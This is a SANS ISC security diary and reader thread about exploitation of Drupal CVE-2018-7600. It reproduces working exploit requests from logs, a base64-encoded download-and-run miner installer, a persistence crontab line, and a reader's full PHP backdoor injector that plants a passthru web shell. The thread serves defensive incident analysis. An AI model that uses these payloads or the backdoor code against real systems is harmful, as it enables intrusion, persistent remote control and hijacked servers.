Threat Level: green Handler on Duty: Didier Stevens

SANS ISC: Drupal CVE-2018-7600 PoC is Public - Internet Security | DShield SANS ISC InfoSec Forums

Sign Up for Free!   Forgot Password?
Log In or Sign Up for Free!
Drupal CVE-2018-7600 PoC is Public

[Update: Now used to install Monero Miners. See below for details]

Drupal announced a Remote Code Execution vulnerability affecting Drupal 7.x and 8.x on March 28 (

Proof of concpet code appeared on github on April 12th.  Quick testing on handler's honeypots indicate that it functions as advertised.

Upgrade to 7.58 or 8.5.1

Scans/attemps are showing up in other Handlers' honeypots: - - [13/Apr/2018:03:20:55 +0200] "POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1" 200 38174 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:52.0) Gecko/20100101 Firefox/52.0"

And here is a second exploit attempt, trying to identify vulnerable servers:

POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: <hostname>
User-Agent: python-requests/2.18.4
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 162
Content-Type: application/x-www-form-urlencoded

form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=ping <hostname> -c 1

The payload pings a host where the hostname of the target is prefixed to the hostname to be pinged. This is sort of interesting as is a wildcard DNS entry, and * appears to resolve to right now. So the detection of who is "pinging" is made most likely via DNS.

The authoritative name server for "" is ns[12], which appears to belong to a Chinese security news site. Maybe they are working on a story to publish how many vulnerable systems there are, but actual exploitation of a vulnerability, even if somewhat benign, may be a step too far for a news story.

Other payloads spotted so far:

echo `whoami`
echo 123
touch 1.html
echo "xiokv"

The exploit attempts are currently arriving at a pretty brisk pace.

Here is one installing the standard xmrig Monero miner. The exploit string (spaces added to allow for wrapping on small screens):

echo KC91c3IvYmluL2N1cmwgLWZzU0wgaHR0c DovL3RjOHpkdy5pZjFqMHl0Z2t5cGEudGsvaSB8 fCAvdXNyL2Jpbi93Z2V0IGh0dHA6Ly90Yzh6 ZHcuaWYxajB5dGdreXBhLnRrL2kgLXFPLSkgfCAvYmluL2Jhc2g= | base64 -d | bash

This decodes to: (http replaced with hxxp)

/usr/bin/curl -fsSL hxxp:// || /usr/bin/wget hxxp:// -qO-) | /bin/bash

"i" is an installer script. It collects information about the system and makes itself persistent via an entry in the crontab:

*/30 * * * *   root   pkill -f /tmp/ ; (curl -fsSL http://${host}/i -o ${FN} || wget http://${host}/i -q -O ${FN}) ; bash ${FN} 1 &

It also download additional files:

  • A script to kill competing miners:
  • and the actual xmrig miner: (the filename depends on the output from "getconf LONG_BIT")

the miner will then connect to port 6666 on , which currently resolves to and

Kevin Liston

292 Posts
ISC Handler
Please add reference to the origin research blog here

I'd like to contribute with these spotted payloads

echo "MrJoker" > hello.txt
Content-Disposition: form-data; name="mail[#type]"; filename="mail[#type]"

Content-Disposition: form-data; name="form_id"; filename="form_id"

Content-Disposition: form-data; name="_drupal_ajax"; filename="_drupal_ajax"

Content-Disposition: form-data; name="mail[#post_render][]"; filename="mail[#post_render][]"

--9a3c9fb84c674844bcf0f0986b8890a1--\)) <> \(POST form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=wget -O config.php

wget -O config.php
I can confirm we are seeing similar payloads at Pantheon. We are sanitizing and logging attempted exploits. I've also seen attempts to install Linux Miner GF which matched a known antivirus signature:
The real questionis this, and i know it may be a tough pill to swallow... When are we as the victins in these massive bullshit exploits, going to be compensated by the coder or coders and companies who were just a little to eager to push out the newest iteration of their software without doing their due diligance in intrusion, bad actor, and erroneous input trials. They rely mainly on kind hearted geniuses who could be using their treasured finds for ill gain, but then put them on notice instead. For what? Where they(Drupal) given proper CVE notification... Did they sleep on it? I dont know,but unless software mfgr and websites who are responsible have consequences, this will be an every other week thing.

This kind of stuff irritates me...

Websites that actively know there is a spoof site advertised on google adwords as the top level response, and just sit on it, was a recent issue for me. trusted ssl cert houses issuing malsites with one letter utf-8-ed from a legit high value site was the most recent "duh why do they even allow this to happen" as well.

There are simple solutions to an only broadening playing field of ez exploitable code and blatantly open to whomever firmware hacks.

Idk. People need to be held responsible, and white/grey hats need to stop releasing exploits to be used by some one who cant even code a simple hello world without a how to and faq...

55 Posts
@jACK: None of the points that you mention applies in this case.

1 Posts
Good morning,

Sorry for my long post, I hope this one may help ...

I got one of my Drupal CMS bases website compromised during the night and got some alert, so I was abbe to follow the attack method, retrieve files and IP adress of some other compromised servers.

First, server at IP address was used to download files onto my server. Investigating on that server show that it hosts an Apache server serving the following files : Bourne-Again shell script, ASCII text executable
c: PHP script, ASCII text
i: Bourne-Again shell script, ASCII text executable
p: PHP script, ASCII text

The "c" file seems to be used to "clean" some systems (dirty code ...) :

function find_php() {
$f = shell_exec("find -type f -name '*.php' -ctime -10");
return array_map(function ($x) {return trim($x, "./");}, preg_split('/\s+/', trim($f)));

foreach (find_php() as $file) {
if (basename($file) != basename(__FILE__)) {
# fuck em
echo basename($file) ."-". basename(__FILE__) . "\n";

The "i" file is a basic downloader bash script :
echo $1
(crontab -l ; echo "1 * * * * wget -O- | bash -") | uniq | crontab -
wget -O - | URL=$1 php
wget -O - | sh -

Interresting to see that the attacker execute the "p" file (see below) to comprimise the system with a backdoor (which let execute commands under the account the webserver is running, mostly www-data), and then patch the compromissed server in order to secure it's own access !

The "p" file is the Drupal-patcher that instal the backdoor (remote shell) :
$payload = '<?php if (isset($_GET["_cmd"])) die(passthru($_GET["_cmd"])); ?>';

function find_dirs() {
$f = shell_exec("find . -type d -writable");
return array_map(function ($x) {return trim($x, "./");}, preg_split('/\s+/', trim($f)));
function find_php() {
$f = shell_exec("find . -type f -name '*.php' -writable");
return array_map(function ($x) {return trim($x, "./");}, preg_split('/\s+/', trim($f)));

// Base url wants to be http://domain/drupal/
// base_path wants to be blsh/blah.php
function infect($rel_path) {
global $payload;
$p = 0;
$mtime = @filemtime($rel_path);
if (!$atime = @fileatime($rel_path)) {
$atime = $mtime = time();

$file = @file_get_contents($rel_path);
if ($file) {
$p = strpos("?>", $file);
} else {
$file = "";

$file = substr_replace($file, $payload, $p, 0);
// echo $file;
$f = fopen($rel_path, 'w');
$r = fwrite($f, $file);
@chmod($rel_path, 0777);
// $r = file_put_contents($rel_path, $file, LOCK_EX);
if ($r > 0) {
@touch($rel_path, $mtime, $atime);
return $r;

// Gritty
// If ENV variable, then use that.
function get_url($rel_path) {
return get_base_url() . $rel_path;

function test_url($url, $shell = false) {
$headers = get_headers($url);
//echo print_r($headers, 1);
if (!$shell) {
// Check url for 200
if ($headers && strstr($headers[0], "200")) {
return true;

} else {
$r = @file_get_contents($url . '?_cmd=(echo+SkFCQkVSV09DSwo=|base64+-d)');
echo "out: $url $r";
if (strstr($r, "JABBERWOCK")) {
return true;

function check_backdoor($file) {
global $payload;
if (strstr(@file_get_contents($file), $payload)) {
return true;
return false;

$bad_dir = array();
function infect_file($file, $new = false) {
global $bad_dir;

$u = get_url($file);
$i = pathinfo($file);

$dir = $i['dirname'];
foreach ($bad_dir as $k => $v) {
if (strpos($dir, $k) === 0) {
if ($bad_dir[$k] > 3) {
return false;

echo "$file - $u:\n";
if (check_backdoor($file)) {
echo "already backdoored\n";
return $u;
if ($new || test_url($u)) {
echo "trying to backdoor...";
$r = infect($file);
if ($r > 0) {
echo "done!\nwrote " . $r . " bytes to " . $file . ". testing...";
if (test_url($u, true)) {
echo "appears to work!\n";
return $u;
} else {
echo "doesn't seem to work...\n";
return false;
} else {
if (!isset($bad_dir[$i['dirname']])) {
$bad_dir[$i['dirname']] = 1;
} else {
$bad_dir[$i['dirname']] += 1;

function find_and_infect() {
$files = find_php();
echo "found " . (count($files) - 1) . " writable files\n";
foreach ($files as $file) {

if (basename($file) == basename(__FILE__)) {

if ($url = infect_file($file)) {
return $url;


$dirs = find_dirs();
echo "found " . count($dirs) . " writable dirs\n";
foreach ($dirs as $dir) {

$f = md5($dir) . ".php";
$file = $dir . '/' . $f;

if ($url = infect_file($file, true)) {
return $url;
} else {

return false;

function get_base_url() {
$url = getenv("URL");
if (!$url) {
$info = pathinfo(parse_url($_SERVER['REQUEST_URI'])['path']);
$url = (isset($_SERVER['HTTPS']) ? "https" : "http") . "://" . $_SERVER["HTTP_HOST"] . $info['dirname'] . "/";
return $url;

$url = find_and_infect();
$data = base64_encode($url);

And finaly the "" file download official Drupal patches and apply them to the local system, once the backdoor has been inserted into the Drupal code :
#!/usr/bin/env bash

# Run the script from the Drupal installation path

version=`find . -name "Drupal.php" -type f | xargs grep 'const VERSION' | awk -F\' '{print $2}'`

if [ -z "$version" ]; then
echo "[-] Unable to get the version of Drupal installation."
exit 1

if [[ $version =~ ^7.*$ ]]; then
echo "7.x version"
elif [[ $version =~ ^8.5.*$ ]]; then
echo "8.5.x Version"
elif [[ $version =~ ^8.3.*$ ]]; then
echo "8.3.x Version"
elif [[ $version =~ ^8.4.*$ ]]; then
echo "8.4.x Version"
echo "[-] We can't patch this version of Drupal: $version"
exit 1
echo "[+] Drupal version: $version"
echo "[+] Getting the patch from Drupal website..."
curl -s "$patch_link" > patch_file
echo "[+] Applying the patch"
patch -p1 < ./patch_file

To know if Your server is clean, You have to ask the JABBERWOCK ... (See upper into the code ...)

I hope that this was intyerresting for You.

7 Posts
Dear readers,

Some more information found in my Apache2 access log file : Use them on your own Drupal CMS for educational purposes only !

17/Apr/2018 11:48:33 "GET /?q=user/password&name[#suffix]=<?php if(@isset($_SERVER[HTTP_323F6])){@eval(base64_decode($_SERVER[HTTP_323F6]));}exit;?>&name[#markup]=sites/libasset.php&name[#type]=markup&name[#post_render][post]=file_put_contents HTTP/1.1" 200 8063 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
17/Apr/2018 18:25:07 "POST /?q=user/password&name[#post_render][]=system&name[#type]=markup&name[#markup]=chmod 0644 ./sites/default/files/.htaccess;cp /dev/null ./sites/default/files/.htaccess;mkdir ./sites/default/files/temp/;wget -P ./sites/default/files/temp/;echo "@!!%@" HTTP/1.1" 200 8014 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36"
18/Apr/2018 19:22:35 "POST /?q=user/password&name[#post_render][]=system&name[#type]=markup&name[#markup]=echo ls -la | sh HTTP/1.1" 200 7855 "-" "python-requests/2.18.4"
18/Apr/2018 19:22:37 "POST /?q=user/password&name[#post_render][]=system&name[#type]=markup&name[#markup]=curl -o /tmp/ || wget -O /tmp/ HTTP/1.1" 200 7928 "-" "python-requests/2.18.4"
18/Apr/2018 19:22:39 "POST /?q=user/password&name[#post_render][]=system&name[#type]=markup&name[#markup]=sh /tmp/ HTTP/1.1" 200 7846 "-" "python-requests/2.18.4"
20/Apr/2018 05:20:11 "POST /?q=user/password&name[#post_render][]=system&name[#markup]=wget -O-|bash /dev/stdin[#type]=markup HTTP/1.1" 200 7885 "-" "Ruby"


7 Posts
Our site has updated to drupal 7.59 and the problem still exists.

Centos 7.3 / sw-nginx-1.11.1-centos7.17071211.x86_64

Suggestions ?

Can you tell me which /tmp file it is using for the download ?

They are using Python to submit the POST. I have tried to simulate the post by doesnt' work, any suggestions ?

Any assistance would be appreciated.

Below is just one example, have quite a few if needed. The logs indicate only a POST is being issued. - - [20/Jun/2018:04:48:56 -0400] "POST /?q=user/password&name[%23post_render][]=passthru&name[%23markup]=wget%20-O%20/tmp/;%20sh%20/tmp/[%23type]=markup HTTP/1.0" 200 26615 "-" "Python-urllib/2.7" - - [20/Jun/2018:04:48:56 -0400] "POST /?q=user/password&name[#post_render][]=passthru&name[#markup]=wget -O /tmp/; sh /tmp/[#type]=markup HTTP/1.0" 200 26615 "-" "Python-urllib/2.7"

2 Posts

Sign Up for Free or Log In to start participating in the conversation!